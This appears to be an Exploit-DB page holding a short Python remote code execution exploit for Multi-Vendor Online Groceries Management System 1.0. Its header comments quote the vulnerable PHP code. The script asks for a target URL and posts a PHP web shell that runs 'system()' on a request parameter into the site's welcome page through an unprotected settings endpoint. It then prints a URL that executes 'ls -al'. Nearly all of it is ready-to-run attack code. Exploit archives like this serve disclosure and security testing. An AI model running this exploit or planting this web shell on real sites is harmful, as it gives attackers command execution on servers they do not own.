7e3a257da8
11 changes to exploits/shellcodes/ghdb PaperCut NG/MG 22.0.4 - Authentication Bypass KodExplorer 4.49 - CSRF to Arbitrary File Upload Mars Stealer 8.3 - Admin Account Takeover Multi-Vendor Online Groceries Management System 1.0 - Remote Code Execution Sophos Web Appliance 4.3.10.4 - Pre-auth command injection Arcsoft PhotoStudio 6.0.0.172 - Unquoted Service Path OCS Inventory NG 2.3.0.0 - Unquoted Service Path Wondershare Filmora 12.2.9.2233 - Unquoted Service Path Windows/x64 - Delete File shellcode / Dynamic PEB method null-free Shellcode
28 lines
No EOL
1.2 KiB
Python
Executable file
28 lines
No EOL
1.2 KiB
Python
Executable file
# Exploit Title: Multi-Vendor Online Groceries Management System 1.0 - Remote Code Execution (RCE)
|
|
# Date: 4/23/2023
|
|
# Author: Or4nG.M4n
|
|
# Vendor Homepage: https://www.sourcecodester.com/
|
|
# Software Link: https://www.sourcecodester.com/php/15166/multi-vendor-online-groceries-management-system-phpoop-free-source-code.html
|
|
# Version: 1.0
|
|
# Tested on: windows
|
|
#
|
|
# Vuln File : SystemSettings.php < here you can inject php code
|
|
# if(isset($_POST['content'])){
|
|
# foreach($_POST['content'] as $k => $v)
|
|
# file_put_contents("../{$k}.html",$v); <=== put any code into welcome.html or whatever you want
|
|
# }
|
|
# Vuln File : home.php < here you can include and execute you're php code
|
|
# <h3 class="text-center">Welcome</h3>
|
|
# <hr>
|
|
# <div class="welcome-content">
|
|
# <?php include("welcome.html") ?> <=== include
|
|
# </div>
|
|
|
|
import requests
|
|
|
|
url = input("Enter url :")
|
|
postdata = {'content[welcome]':'<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>'}
|
|
resp = requests.post(url+"/classes/SystemSettings.php?f=update_settings", postdata)
|
|
print("[+] injection in welcome page")
|
|
print("[+]"+url+"/?cmd=ls -al")
|
|
print("\n") |